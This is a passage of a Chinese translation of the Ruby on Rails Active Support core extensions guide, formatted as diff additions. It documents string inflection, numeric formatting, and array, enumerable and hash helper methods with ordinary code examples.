+
+

如果结果是未知的常量,或者根本不是有效的常量名,constantize 抛出 NameError 异常。

即便开头没有 ::constantize 也始终从顶层的 Object 解析常量名。

+
+X = :in_Object
+module M
+  X = :in_M
+
+  X                 # => :in_M
+  "::X".constantize # => :in_Object
+  "X".constantize   # => :in_Object (!)
+end
+
+
+
+

因此,通常这与 Ruby 的处理方式不同,Ruby 会求值真正的常量。

邮件程序测试用例使用 constantize 方法从测试用例的名称中获取要测试的邮件程序:

+
+# action_mailer/test_case.rb
+def determine_default_mailer(name)
+  name.sub(/Test$/, '').constantize
+rescue NameError => e
+  raise NonInferrableMailerError.new(name)
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.13 humanize +

humanize 方法对属性名做调整,以便显示给终端用户查看。

这个方法所做的转换如下:

+
    +
  • 根据参数做对人类友好的词形变化

  • +
  • 删除前导下划线(如果有)

  • +
  • 删除“_id”后缀(如果有)

  • +
  • 把下划线替换成空格(如果有)

  • +
  • 把所有单词变成小写,缩略词除外

  • +
  • 把第一个单词的首字母变成大写

  • +
+

:capitalize 选项设为 false(默认值为 true)可以禁止把第一个单词的首字母变成大写。

+
+"name".humanize                         # => "Name"
+"author_id".humanize                    # => "Author"
+"author_id".humanize(capitalize: false) # => "author"
+"comments_count".humanize               # => "Comments count"
+"_id".humanize                          # => "Id"
+
+
+
+

如果把“SSL”定义为缩略词:

+
+'ssl_error'.humanize # => "SSL error"
+
+
+
+

full_messages 辅助方法使用 humanize 作为一种后备机制,以便包含属性名:

+
+def full_messages
+  map { |attribute, message| full_message(attribute, message) }
+end
+
+def full_message
+  ...
+  attr_name = attribute.to_s.tr('.', '_').humanize
+  attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
+  ...
+end
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.11.14 foreign_key +

foreign_key 方法根据类名计算外键列的名称。为此,它先调用 demodulize,再调用 underscore,最后加上“_id”:

+
+"User".foreign_key           # => "user_id"
+"InvoiceLine".foreign_key    # => "invoice_line_id"
+"Admin::Session".foreign_key # => "session_id"
+
+
+
+

如果不想添加“_id”中的下划线,传入 false 参数:

+
+"User".foreign_key(false) # => "userid"
+
+
+
+

关联使用这个方法推断外键,例如 has_onehas_many 是这么做的:

+
+# active_record/associations.rb
+foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key
+
+
+
+

active_support/core_ext/string/inflections.rb 文件中定义。

5.12 转换

5.12.1 to_dateto_timeto_datetime +

to_dateto_timeto_datetime 是对 Date._parse 的便利包装:

+
+"2010-07-27".to_date              # => Tue, 27 Jul 2010
+"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
+"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000
+
+
+
+

to_time 有个可选的参数,值为 :utc:local,指明想使用的时区:

+
+"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
+"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200
+
+
+
+

默认值是 :utc

详情参见 Date._parse 的文档。

参数为空时,这三个方法返回 nil

active_support/core_ext/string/conversions.rb 文件中定义。

6 Numeric 的扩展

6.1 字节

所有数字都能响应下述方法:

+
+bytes
+kilobytes
+megabytes
+gigabytes
+terabytes
+petabytes
+exabytes
+
+
+
+

这些方法返回相应的字节数,因子是 1024:

+
+2.kilobytes   # => 2048
+3.megabytes   # => 3145728
+3.5.gigabytes # => 3758096384
+-4.exabytes   # => -4611686018427387904
+
+
+
+

这些方法都有单数别名,因此可以这样用:

+
+1.megabyte # => 1048576
+
+
+
+

active_support/core_ext/numeric/bytes.rb 文件中定义。

6.2 时间

用于计算和声明时间,例如 45.minutes + 2.hours + 4.years

使用 from_nowago 等精确计算日期,以及增减 Time 对象时使用 Time#advance。例如:

+
+# 等价于 Time.current.advance(months: 1)
+1.month.from_now
+
+# 等价于 Time.current.advance(years: 2)
+2.years.from_now
+
+# 等价于 Time.current.advance(months: 4, years: 5)
+(4.months + 5.years).from_now
+
+
+
+

active_support/core_ext/numeric/time.rb 文件中定义。

6.3 格式化

以各种形式格式化数字。

把数字转换成字符串表示形式,表示电话号码:

+
+5551234.to_s(:phone)
+# => 555-1234
+1235551234.to_s(:phone)
+# => 123-555-1234
+1235551234.to_s(:phone, area_code: true)
+# => (123) 555-1234
+1235551234.to_s(:phone, delimiter: " ")
+# => 123 555 1234
+1235551234.to_s(:phone, area_code: true, extension: 555)
+# => (123) 555-1234 x 555
+1235551234.to_s(:phone, country_code: 1)
+# => +1-123-555-1234
+
+
+
+

把数字转换成字符串表示形式,表示货币:

+
+1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
+1234567890.506.to_s(:currency)                # => $1,234,567,890.51
+1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506
+
+
+
+

把数字转换成字符串表示形式,表示百分比:

+
+100.to_s(:percentage)
+# => 100.000%
+100.to_s(:percentage, precision: 0)
+# => 100%
+1000.to_s(:percentage, delimiter: '.', separator: ',')
+# => 1.000,000%
+302.24398923423.to_s(:percentage, precision: 5)
+# => 302.24399%
+
+
+
+

把数字转换成字符串表示形式,以分隔符分隔:

+
+12345678.to_s(:delimited)                     # => 12,345,678
+12345678.05.to_s(:delimited)                  # => 12,345,678.05
+12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
+12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
+12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05
+
+
+
+

把数字转换成字符串表示形式,以指定精度四舍五入:

+
+111.2345.to_s(:rounded)                     # => 111.235
+111.2345.to_s(:rounded, precision: 2)       # => 111.23
+13.to_s(:rounded, precision: 5)             # => 13.00000
+389.32314.to_s(:rounded, precision: 0)      # => 389
+111.2345.to_s(:rounded, significant: true)  # => 111
+
+
+
+

把数字转换成字符串表示形式,得到人类可读的字节数:

+
+123.to_s(:human_size)                  # => 123 Bytes
+1234.to_s(:human_size)                 # => 1.21 KB
+12345.to_s(:human_size)                # => 12.1 KB
+1234567.to_s(:human_size)              # => 1.18 MB
+1234567890.to_s(:human_size)           # => 1.15 GB
+1234567890123.to_s(:human_size)        # => 1.12 TB
+1234567890123456.to_s(:human_size)     # => 1.1 PB
+1234567890123456789.to_s(:human_size)  # => 1.07 EB
+
+
+
+

把数字转换成字符串表示形式,得到人类可读的词:

+
+123.to_s(:human)               # => "123"
+1234.to_s(:human)              # => "1.23 Thousand"
+12345.to_s(:human)             # => "12.3 Thousand"
+1234567.to_s(:human)           # => "1.23 Million"
+1234567890.to_s(:human)        # => "1.23 Billion"
+1234567890123.to_s(:human)     # => "1.23 Trillion"
+1234567890123456.to_s(:human)  # => "1.23 Quadrillion"
+
+
+
+

active_support/core_ext/numeric/conversions.rb 文件中定义。

7 Integer 的扩展

7.1 multiple_of? +

multiple_of? 方法测试一个整数是不是参数的倍数:

+
+2.multiple_of?(1) # => true
+1.multiple_of?(2) # => false
+
+
+
+

active_support/core_ext/integer/multiple.rb 文件中定义。

7.2 ordinal +

ordinal 方法返回整数接收者的序数词后缀(字符串):

+
+1.ordinal    # => "st"
+2.ordinal    # => "nd"
+53.ordinal   # => "rd"
+2009.ordinal # => "th"
+-21.ordinal  # => "st"
+-134.ordinal # => "th"
+
+
+
+

active_support/core_ext/integer/inflections.rb 文件中定义。

7.3 ordinalize +

ordinalize 方法返回整数接收者的序数词(字符串)。注意,ordinal 方法只返回后缀。

+
+1.ordinalize    # => "1st"
+2.ordinalize    # => "2nd"
+53.ordinalize   # => "53rd"
+2009.ordinalize # => "2009th"
+-21.ordinalize  # => "-21st"
+-134.ordinalize # => "-134th"
+
+
+
+

active_support/core_ext/integer/inflections.rb 文件中定义。

8 BigDecimal 的扩展

8.1 to_s +

to_s 方法把默认的说明符设为“F”。这意味着,不传入参数时,to_s 返回浮点数表示形式,而不是工程计数法。

+
+BigDecimal.new(5.00, 6).to_s  # => "5.0"
+
+
+
+

说明符也可以使用符号:

+
+BigDecimal.new(5.00, 6).to_s(:db)  # => "5.0"
+
+
+
+

也支持工程计数法:

+
+BigDecimal.new(5.00, 6).to_s("e")  # => "0.5E1"
+
+
+
+

9 Enumerable 的扩展

9.1 sum +

sum 方法计算可枚举对象的元素之和:

+
+[1, 2, 3].sum # => 6
+(1..100).sum  # => 5050
+
+
+
+

只假定元素能响应 +

+
+[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
+%w(foo bar baz).sum             # => "foobarbaz"
+{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]
+
+
+
+

空集合的元素之和默认为零,不过可以自定义:

+
+[].sum    # => 0
+[].sum(1) # => 1
+
+
+
+

如果提供块,sum 变成迭代器,把集合中的元素拽入块中,然后求返回值之和:

+
+(1..5).sum {|n| n * 2 } # => 30
+[2, 4, 6, 8, 10].sum    # => 30
+
+
+
+

空接收者之和也可以使用这种方式自定义:

+
+[].sum(1) {|n| n**3} # => 1
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.2 index_by +

index_by 方法生成一个散列,使用某个键索引可枚举对象中的元素。

它迭代集合,把各个元素传入块中。元素使用块的返回值为键:

+
+invoices.index_by(&:number)
+# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}
+
+
+
+

键一般是唯一的。如果块为不同的元素返回相同的键,不会使用那个键构建集合。最后一个元素胜出。

active_support/core_ext/enumerable.rb 文件中定义。

9.3 many? +

many? 方法是 collection.size > 1 的简化:

+
+<% if pages.many? %>
+  <%= pagination_links %>
+<% end %>
+
+
+
+

如果提供可选的块,many? 只考虑返回 true 的元素:

+
+@see_more = videos.many? {|video| video.category == params[:category]}
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.4 exclude? +

exclude? 方法测试指定对象是否不在集合中。这是内置方法 include? 的逆向判断。

+
+to_visit << node if visited.exclude?(node)
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.5 without +

without 从可枚举对象中删除指定的元素,然后返回副本:

+
+["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"]
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

9.6 pluck +

pluck 方法基于指定的键返回一个数组:

+
+[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]
+
+
+
+

active_support/core_ext/enumerable.rb 文件中定义。

10 Array 的扩展

10.1 访问

为了便于以多种方式访问数组,Active Support 增强了数组的 API。例如,若想获取到指定索引的子数组,可以这么做:

+
+%w(a b c d).to(2) # => %w(a b c)
+[].to(7)          # => []
+
+
+
+

类似地,from 从指定索引一直获取到末尾。如果索引大于数组的长度,返回一个空数组。

+
+%w(a b c d).from(2)  # => %w(c d)
+%w(a b c d).from(10) # => []
+[].from(0)           # => []
+
+
+
+

secondthirdfourthfifth 分别返回对应的元素,second_to_lastthird_to_last 也是(firstlast 是内置的)。得益于公众智慧和积极的建设性建议,还有 forty_two 可用。

+
+%w(a b c d).third # => c
+%w(a b c d).fifth # => nil
+
+
+
+

active_support/core_ext/array/access.rb 文件中定义。

10.2 添加元素

10.2.1 prepend +

这个方法是 Array#unshift 的别名。

+
+%w(a b c d).prepend('e')  # => ["e", "a", "b", "c", "d"]
+[].prepend(10)            # => [10]
+
+
+
+

active_support/core_ext/array/prepend_and_append.rb 文件中定义。

10.2.2 append +

这个方法是 Array#<< 的别名。

+
+%w(a b c d).append('e')  # => ["a", "b", "c", "d", "e"]
+[].append([1,2])         # => [[1, 2]]
+
+
+
+

active_support/core_ext/array/prepend_and_append.rb 文件中定义。

10.3 选项提取

如果方法调用的最后一个参数(不含 &block 参数)是散列,Ruby 允许省略花括号:

+
+User.exists?(email: params[:email])
+
+
+
+

Rails 大量使用这种语法糖,以此避免编写大量位置参数,用于模仿具名参数。Rails 经常在最后一个散列选项上使用这种惯用法。

然而,如果方法期待任意个参数,在声明中使用 *,那么选项散列就会变成数组中一个元素,失去了应有的作用。

此时,可以使用 extract_options! 特殊处理选项散列。这个方法检查数组最后一个元素的类型,如果是散列,把它提取出来,并返回;否则,返回一个空散列。

下面以控制器的 caches_action 方法的定义为例:

+
+def caches_action(*actions)
+  return unless cache_configured?
+  options = actions.extract_options!
+  ...
+end
+
+
+
+

这个方法接收任意个动作名,最后一个参数是选项散列。extract_options! 方法获取选项散列,把它从 actions 参数中删除,这样简单便利。

active_support/core_ext/array/extract_options.rb 文件中定义。

10.4 转换

10.4.1 to_sentence +

to_sentence 方法枚举元素,把数组变成一个句子(字符串):

+
+%w().to_sentence                # => ""
+%w(Earth).to_sentence           # => "Earth"
+%w(Earth Wind).to_sentence      # => "Earth and Wind"
+%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"
+
+
+
+

这个方法接受三个选项:

+
    +
  • :two_words_connector:数组长度为 2 时使用什么词。默认为“ and”。

  • +
  • :words_connector:数组元素数量为 3 个以上(含)时,使用什么连接除最后两个元素之外的元素。默认为“, ”。

  • +
  • :last_word_connector:数组元素数量为 3 个以上(含)时,使用什么连接最后两个元素。默认为“, and”。

  • +
+

这些选项的默认值可以本地化,相应的键为:

+ + + + + + + + + + + + + + + + + + + + + +
选项i18n 键
:two_words_connectorsupport.array.two_words_connector
:words_connectorsupport.array.words_connector
:last_word_connectorsupport.array.last_word_connector
+

active_support/core_ext/array/conversions.rb 文件中定义。

10.4.2 to_formatted_s +

默认情况下,to_formatted_s 的行为与 to_s 一样。

然而,如果数组中的元素能响应 id 方法,可以传入参数 :db。处理 Active Record 对象集合时经常如此。返回的字符串如下:

+
+[].to_formatted_s(:db)            # => "null"
+[user].to_formatted_s(:db)        # => "8456"
+invoice.lines.to_formatted_s(:db) # => "23,567,556,12"
+
+
+
+

在上述示例中,整数是在元素上调用 id 得到的。

active_support/core_ext/array/conversions.rb 文件中定义。

10.4.3 to_xml +

to_xml 方法返回接收者的 XML 表述:

+
+Contributor.limit(2).order(:rank).to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors type="array">
+#   <contributor>
+#     <id type="integer">4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank type="integer">1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id type="integer">4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank type="integer">2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

为此,它把 to_xml 分别发送给每个元素,然后收集结果,放在一个根节点中。所有元素都必须能响应 to_xml,否则抛出异常。

默认情况下,根元素的名称是第一个元素的类名的复数形式经过 underscoredasherize 处理后得到的值——前提是余下的元素属于那个类型(使用 is_a? 检查),而且不是散列。在上例中,根元素是“contributors”。

只要有不属于那个类型的元素,根元素就使用“objects”:

+
+[Contributor.first, Commit.first].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <id type="integer">4583</id>
+#     <name>Aaron Batalion</name>
+#     <rank type="integer">53</rank>
+#     <url-id>aaron-batalion</url-id>
+#   </object>
+#   <object>
+#     <author>Joshua Peek</author>
+#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
+#     <branch>origin/master</branch>
+#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
+#     <committer>Joshua Peek</committer>
+#     <git-show nil="true"></git-show>
+#     <id type="integer">190316</id>
+#     <imported-from-svn type="boolean">false</imported-from-svn>
+#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
+#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
+#   </object>
+# </objects>
+
+
+
+

如果接收者是由散列组成的数组,根元素默认也是“objects”:

+
+[{a: 1, b: 2}, {c: 3}].to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <objects type="array">
+#   <object>
+#     <b type="integer">2</b>
+#     <a type="integer">1</a>
+#   </object>
+#   <object>
+#     <c type="integer">3</c>
+#   </object>
+# </objects>
+
+
+
+

如果集合为空,根元素默认为“nil-classes”。例如上述示例中的贡献者列表,如果集合为空,根元素不是“contributors”,而是“nil-classes”。可以使用 :root 选项确保根元素始终一致。

子节点的名称默认为根节点的单数形式。在前面几个例子中,我们见到的是“contributor”和“object”。可以使用 :children 选项设定子节点的名称。

默认的 XML 构建程序是一个新的 Builder::XmlMarkup 实例。可以使用 :builder 选项指定构建程序。这个方法还接受 :dasherize 等方法,它们会被转发给构建程序。

+
+Contributor.limit(2).order(:rank).to_xml(skip_types: true)
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <contributors>
+#   <contributor>
+#     <id>4356</id>
+#     <name>Jeremy Kemper</name>
+#     <rank>1</rank>
+#     <url-id>jeremy-kemper</url-id>
+#   </contributor>
+#   <contributor>
+#     <id>4404</id>
+#     <name>David Heinemeier Hansson</name>
+#     <rank>2</rank>
+#     <url-id>david-heinemeier-hansson</url-id>
+#   </contributor>
+# </contributors>
+
+
+
+

active_support/core_ext/array/conversions.rb 文件中定义。

10.5 包装

Array.wrap 方法把参数包装成一个数组,除非参数已经是数组(或与数组类似的结构)。

具体而言:

+
    +
  • 如果参数是 nil,返回一个空数组。

  • +
  • 否则,如果参数响应 to_ary 方法,调用之;如果 to_ary 返回值不是 nil,返回之。

  • +
  • 否则,把参数作为数组的唯一元素,返回之。

  • +
+
+
+Array.wrap(nil)       # => []
+Array.wrap([1, 2, 3]) # => [1, 2, 3]
+Array.wrap(0)         # => [0]
+
+
+
+

这个方法的作用与 Kernel#Array 类似,不过二者之间有些区别:

+
    +
  • 如果参数响应 to_ary,调用之。如果 to_ary 的返回值是 nilKernel#Array 接着调用 to_a,而 Array.wrap 把参数作为数组的唯一元素,返回之。

  • +
  • 如果 to_ary 的返回值既不是 nil,也不是 Array 对象,Kernel#Array 抛出异常,而 Array.wrap 不会,它返回那个值。

  • +
  • 如果参数不响应 to_aryArray.wrap 不在参数上调用 to_a,而是把参数作为数组的唯一元素,返回之。

  • +
+

对某些可枚举对象来说,最后一点尤为重要:

+
+Array.wrap(foo: :bar) # => [{:foo=>:bar}]
+Array(foo: :bar)      # => [[:foo, :bar]]
+
+
+
+

还有一种惯用法是使用星号运算符:

+
+[*object]
+
+
+
+

在 Ruby 1.8 中,如果参数是 nil,返回 [nil],否则调用 Array(object)。(如果你知道在 Ruby 1.9 中的行为,请联系 fxn。)

因此,参数为 nil 时二者的行为不同,前文对 Kernel#Array 的说明适用于其他对象。

active_support/core_ext/array/wrap.rb 文件中定义。

10.6 复制

Array#deep_dup 方法使用 Active Support 提供的 Object#deep_dup 方法复制数组自身和里面的对象。其工作方式相当于通过 Array#mapdeep_dup 方法发给里面的各个对象。

+
+array = [1, [2, 3]]
+dup = array.deep_dup
+dup[1][2] = 4
+array[1][2] == nil   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

10.7 分组

10.7.1 in_groups_of(number, fill_with = nil) +

in_groups_of 方法把数组拆分成特定长度的连续分组,返回由各分组构成的数组:

+
+[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]
+
+
+
+

如果有块,把各分组拽入块中:

+
+<% sample.in_groups_of(3) do |a, b, c| %>
+  <tr>
+    <td><%= a %></td>
+    <td><%= b %></td>
+    <td><%= c %></td>
+  </tr>
+<% end %>
+
+
+
+

第一个示例说明 in_groups_of 会使用 nil 元素填充最后一组,得到指定大小的分组。可以使用第二个参数(可选的)修改填充值:

+
+[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]
+
+
+
+

如果传入 false,不填充最后一组:

+
+[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]
+
+
+
+

因此,false 不能作为填充值使用。

active_support/core_ext/array/grouping.rb 文件中定义。

10.7.2 in_groups(number, fill_with = nil) +

in_groups 方法把数组分成特定个分组。这个方法返回由分组构成的数组:

+
+%w(1 2 3 4 5 6 7).in_groups(3)
+# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]
+
+
+
+

如果有块,把分组拽入块中:

+
+%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
+["1", "2", "3"]
+["4", "5", nil]
+["6", "7", nil]
+
+
+
+

在上述示例中,in_groups 使用 nil 填充尾部的分组。一个分组至多有一个填充值,而且是最后一个元素。有填充值的始终是最后几个分组。

可以使用第二个参数(可选的)修改填充值:

+
+%w(1 2 3 4 5 6 7).in_groups(3, "0")
+# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]
+
+
+
+

如果传入 false,不填充较短的分组:

+
+%w(1 2 3 4 5 6 7).in_groups(3, false)
+# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]
+
+
+
+

因此,false 不能作为填充值使用。

active_support/core_ext/array/grouping.rb 文件中定义。

10.7.3 split(value = nil) +

split 方法在指定的分隔符处拆分数组,返回得到的片段。

如果有块,使用块中表达式返回 true 的元素作为分隔符:

+
+(-5..5).to_a.split { |i| i.multiple_of?(4) }
+# => [[-5], [-3, -2, -1], [1, 2, 3], [5]]
+
+
+
+

否则,使用指定的参数(默认为 nil)作为分隔符:

+
+[0, 1, -5, 1, 1, "foo", "bar"].split(1)
+# => [[0], [-5], [], ["foo", "bar"]]
+
+
+
+

仔细观察上例,出现连续的分隔符时,得到的是空数组。

active_support/core_ext/array/grouping.rb 文件中定义。

11 Hash 的扩展

11.1 转换

11.1.1 to_xml +

to_xml 方法返回接收者的 XML 表述(字符串):

+
+{"foo" => 1, "bar" => 2}.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+
+
+
+

为此,这个方法迭代各个键值对,根据值构建节点。假如键值对是 key, value

+
    +
  • 如果 value 是一个散列,递归调用,此时 key 作为 :root

  • +
  • 如果 value 是一个数组,递归调用,此时 key 作为 :rootkey 的单数形式作为 :children

  • +
  • 如果 value 是可调用对象,必须能接受一个或两个参数。根据参数的数量,传给可调用对象的第一个参数是 options 散列,key 作为 :rootkey 的单数形式作为第二个参数。它的返回值作为新节点。

  • +
  • 如果 value 响应 to_xml,调用这个方法时把 key 作为 :root

  • +
  • +

    否则,使用 key 为标签创建一个节点,value 的字符串表示形式为文本作为节点的文本。如果 valuenil,添加“nil”属性,值为“true”。除非有 :skip_type 选项,而且值为 true,否则还会根据下述对应关系添加“type”属性:

    +
    +
    +XML_TYPE_NAMES = {
    +  "Symbol"     => "symbol",
    +  "Integer"    => "integer",
    +  "BigDecimal" => "decimal",
    +  "Float"      => "float",
    +  "TrueClass"  => "boolean",
    +  "FalseClass" => "boolean",
    +  "Date"       => "date",
    +  "DateTime"   => "datetime",
    +  "Time"       => "datetime"
    +}
    +
    +
    +
    +
  • +
+

默认情况下,根节点是“hash”,不过可以通过 :root 选项配置。

默认的 XML 构建程序是一个新的 Builder::XmlMarkup 实例。可以使用 :builder 选项配置构建程序。这个方法还接受 :dasherize 等选项,它们会被转发给构建程序。

active_support/core_ext/hash/conversions.rb 文件中定义。

11.2 合并

Ruby 有个内置的方法,Hash#merge,用于合并两个散列:

+
+{a: 1, b: 1}.merge(a: 0, c: 2)
+# => {:a=>0, :b=>1, :c=>2}
+
+
+
+

为了方便,Active Support 定义了几个用于合并散列的方法。

11.2.1 reverse_mergereverse_merge! +

如果键有冲突,merge 方法的参数中的键胜出。通常利用这一点为选项散列提供默认值:

+
+options = {length: 30, omission: "..."}.merge(options)
+
+
+
+

Active Support 定义了 reverse_merge 方法,以防你想使用相反的合并方式:

+
+options = options.reverse_merge(length: 30, omission: "...")
+
+
+
+

还有一个爆炸版本,reverse_merge!,就地执行合并:

+
+options.reverse_merge!(length: 30, omission: "...")
+
+
+
+

reverse_merge! 方法会就地修改调用方,这可能不是个好主意。

active_support/core_ext/hash/reverse_merge.rb 文件中定义。

11.2.2 reverse_update +

reverse_update 方法是 reverse_merge! 的别名,作用参见前文。

注意,reverse_update 方法的名称中没有感叹号。

active_support/core_ext/hash/reverse_merge.rb 文件中定义。

11.2.3 deep_mergedeep_merge! +

如前面的示例所示,如果两个散列中有相同的键,参数中的散列胜出。

Active Support 定义了 Hash#deep_merge 方法。在深度合并中,如果两个散列中有相同的键,而且它们的值都是散列,那么在得到的散列中,那个键的值是合并后的结果:

+
+{a: {b: 1}}.deep_merge(a: {c: 2})
+# => {:a=>{:b=>1, :c=>2}}
+
+
+
+

deep_merge! 方法就地执行深度合并。

active_support/core_ext/hash/deep_merge.rb 文件中定义。

11.3 深度复制

Hash#deep_dup 方法使用 Active Support 提供的 Object#deep_dup 方法复制散列自身及里面的键值对。其工作方式相当于通过 Enumerator#each_with_objectdeep_dup 方法发给各个键值对。

+
+hash = { a: 1, b: { c: 2, d: [3, 4] } }
+
+dup = hash.deep_dup
+dup[:b][:e] = 5
+dup[:b][:d] << 5
+
+hash[:b][:e] == nil      # => true
+hash[:b][:d] == [3, 4]   # => true
+
+
+
+

active_support/core_ext/object/deep_dup.rb 文件中定义。

11.4 处理键

11.4.1 exceptexcept! +

except 方法返回一个散列,从接收者中把参数中列出的键删除(如果有的话):

+
+{a: 1, b: 2}.except(:a) # => {:b=>2}
+
+
+
+

如果接收者响应 convert_key 方法,会在各个参数上调用它。这样 except 能更好地处理不区分键类型的散列,例如:

+
+{a: 1}.with_indifferent_access.except(:a)  # => {}
+{a: 1}.with_indifferent_access.except("a") # => {}
+
+
+
+

还有爆炸版本,except!,就地从接收者中删除键。

active_support/core_ext/hash/except.rb 文件中定义。

11.4.2 transform_keystransform_keys! +

transform_keys 方法接受一个块,使用块中的代码处理接收者的键:

+
+{nil => nil, 1 => 1, a: :a}.transform_keys { |key| key.to_s.upcase }
+# => {"" => nil, "A" => :a, "1" => 1}
+
+
+
+

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.transform_keys { |key| key.to_s.upcase }
+# 结果可能是
+# => {"A"=>2}
+# 也可能是
+# => {"A"=>1}
+
+
+
+

这个方法可以用于构建特殊的转换方式。例如,stringify_keyssymbolize_keys 使用 transform_keys 转换键:

+
+def stringify_keys
+  transform_keys { |key| key.to_s }
+end
+...
+def symbolize_keys
+  transform_keys { |key| key.to_sym rescue key }
+end
+
+
+
+

还有爆炸版本,transform_keys!,就地使用块中的代码处理接收者的键。

此外,可以使用 deep_transform_keysdeep_transform_keys! 把块应用到指定散列及其嵌套的散列的所有键上。例如:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_transform_keys { |key| key.to_s.upcase }
+# => {""=>nil, "1"=>1, "NESTED"=>{"A"=>3, "5"=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.3 stringify_keysstringify_keys! +

stringify_keys 把接收者中的键都变成字符串,然后返回一个散列。为此,它在键上调用 to_s

+
+{nil => nil, 1 => 1, a: :a}.stringify_keys
+# => {"" => nil, "a" => :a, "1" => 1}
+
+
+
+

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.stringify_keys
+# 结果可能是
+# => {"a"=>2}
+# 也可能是
+# => {"a"=>1}
+
+
+
+

使用这个方法,选项既可以是符号,也可以是字符串。例如 ActionView::Helpers::FormHelper 定义的这个方法:

+
+def to_check_box_tag(options = {}, checked_value = "1", unchecked_value = "0")
+  options = options.stringify_keys
+  options["type"] = "checkbox"
+  ...
+end
+
+
+
+

因为有第二行,所以用户可以传入 :type"type"

也有爆炸版本,stringify_keys!,直接把接收者的键变成字符串。

此外,可以使用 deep_stringify_keysdeep_stringify_keys! 把指定散列及其中嵌套的散列的键全都转换成字符串。例如:

+
+{nil => nil, 1 => 1, nested: {a: 3, 5 => 5}}.deep_stringify_keys
+# => {""=>nil, "1"=>1, "nested"=>{"a"=>3, "5"=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.4 symbolize_keyssymbolize_keys! +

symbolize_keys 方法把接收者中的键尽量变成符号。为此,它在键上调用 to_sym

+
+{nil => nil, 1 => 1, "a" => "a"}.symbolize_keys
+# => {1=>1, nil=>nil, :a=>"a"}
+
+
+
+

注意,在上例中,只有键变成了符号。

遇到冲突的键时,只会从中选择一个。选择哪个值并不确定。

+
+{"a" => 1, a: 2}.symbolize_keys
+# 结果可能是
+# => {:a=>2}
+# 也可能是
+# => {:a=>1}
+
+
+
+

使用这个方法,选项既可以是符号,也可以是字符串。例如 ActionController::UrlRewriter 定义的这个方法:

+
+def rewrite_path(options)
+  options = options.symbolize_keys
+  options.update(options[:params].symbolize_keys) if options[:params]
+  ...
+end
+
+
+
+

因为有第二行,所以用户可以传入 :params"params"

也有爆炸版本,symbolize_keys!,直接把接收者的键变成符号。

此外,可以使用 deep_symbolize_keysdeep_symbolize_keys! 把指定散列及其中嵌套的散列的键全都转换成符号。例如:

+
+{nil => nil, 1 => 1, "nested" => {"a" => 3, 5 => 5}}.deep_symbolize_keys
+# => {nil=>nil, 1=>1, nested:{a:3, 5=>5}}
+
+
+
+

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.5 to_optionsto_options! +

to_optionsto_options! 分别是 symbolize_keys and symbolize_keys! 的别名。

active_support/core_ext/hash/keys.rb 文件中定义。

11.4.6 assert_valid_keys +

assert_valid_keys 方法的参数数量不定,检查接收者的键是否在白名单之外。如果是,抛出 ArgumentError 异常。

+
+{a: 1}.assert_valid_keys(:a)  # passes
+{a: 1}.assert_valid_keys("a") # ArgumentError
+
+
+
+

例如,Active Record 构建关联时不接受未知的选项。这个功能就是通过 assert_valid_keys 实现的。

active_support/core_ext/hash/keys.rb 文件中定义。

